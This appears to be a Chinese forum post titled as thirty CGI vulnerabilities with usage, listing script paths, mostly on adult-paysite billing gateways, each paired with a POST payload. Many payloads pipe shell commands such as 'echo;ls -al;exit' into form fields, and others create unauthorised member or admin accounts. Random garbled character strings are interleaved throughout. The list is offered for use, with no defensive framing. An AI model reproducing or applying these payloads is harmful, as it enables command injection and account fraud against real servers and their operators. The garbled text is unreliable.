Cgi-bin 30个漏洞＋使用方法

admin

==============================
! e- e8 N4 Z) u* U! Y# r; U0 \5 J
5 X+ c7 H/ B) X0 y5 m" c/smspass.pl
; Z6 d2 n8 F/ e0 W+ S8 eusername=username&password=password
  N9 o5 }; N; |" I  o  g2 s) o
' C7 ]0 ~: k  @/ ]* C, V  b/index.cgi
wei=ren&gen=command

0 i. j1 F  [0 Q8 `6 Z4 x/passmaster.cgi
/ c1 Y& l" C$ MAction=Add&Username=Username&Password=Password

4 Z' F4 m% j$ M5 {/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
& a9 [3 u" O, j
7 O) O& {1 B; s7 q) [/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
4 N/ O' M/ o( Y1 ?. O
/addusr.pl
) i4 ?3 r: k% L9 I! x3 W/ v; c/cgi-bin/EuroDebit/addusr.pl
- U/ _2 e5 I) R. F! @: w2 |) uuser=username&pass=Password&confirm=Password
$ j: M* C5 f# W, {
5 R4 w6 Q4 W) F6 i. x2 M/ccbill-local.asp
3 s5 D. d. f1 u6 A) X$ epost_values=username:password

7 E' @8 @/ {1 F& g/ n/count.cgi
pinfile=|echo;ls -la;exit|
9 R9 c8 d' Y8 w4 J' H# n* O( p( f
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

& q3 ^! Z+ t1 n4 M& P) k  F/verotelrum.pl
2 G) X( R  m" t3 s2 jvercode=username:password:dseegsow:add:amount<&30>

% T) M, ]+ [0 A2 ]/ s3 W* t/af.cgi
& _0 Z- s* Y4 E' n_browser_out=|echo;ls -la;exit;|
4 E2 c  ~( l8 ]6 X5 j  a
1 l- x0 V3 p( E( {9 x/modify.cgi
/ ?5 Y4 T. k/ ^9 z+ g4 k8 ~& D8 }username=username&password=password&expire=30

; J3 T- u5 s9 D/openjournal.cgi
: W- C# s# Z* L' X% S- D8 j* |edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ Y2 G! f4 Z: @2 g/probecontrol.cgi
" u. e4 o5 l& ?# y4 Gcommand=enable&username=username&password=password
5 `; ^  a: L$ ]7 N6 W3 t; D, k3 u& N
* b/ P# p4 o$ a9 N/recon.cgi
; L: s7 k+ n: S. Y, B+ L. Msearchoption=3&searchfor=echo;ls -la;exit
! C0 k2 w% S/ g( T1 ^
& _4 @' D; d7 K7 o/htadd.pl
configfile=|echo; ls -alt; exit
* m2 ]/ p' d" g9 j9 }0 N! K
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
! B9 y# d, p& y$ ^, ]9 H
" L6 |# O' D' w0 Y/ibill*.pl
8 O/ r+ ]$ Q  g; S# c' o. y% Rreqtype=add&authpwd=authpwd&username=username&password=password

# b  l1 C. i8 C! M, e  E2 x/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

0 [. C* Z) x1 i; C  F6 \9 x0 O/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
1 y+ o1 x2 y( C3 I
/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

7 s  F% l! R' _% h9 L% k/ B/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
4 M- z6 F- C) u3 H/ L4 F, A: L/cgi-bin/mastergate/pincount.cgi
( b5 d# c7 s' Tpinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

, x3 k( T" p9 h, G' H/af.cgi
2 M# X/ e3 a7 A9 @7 _9 K4 P/env.cgi
# R) c6 m( i; G1 d: Z" O; e! AADD+;echo;pwd;exit

0 m" }; B# e! y  X9 z2 O8 a4 x( f/count.cgi
pinfile=|echo;pwd;exit|

8 N' ~( C8 J0 T4 G; C6 i/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
1 \$ e# H2 \% I, m4 Z* e" R
7 i, w# X# F8 h3 h- I! E/add.cgi
username=username&password=password&expire=30
* T. _# ?# U+ ~- K* b  I
==============================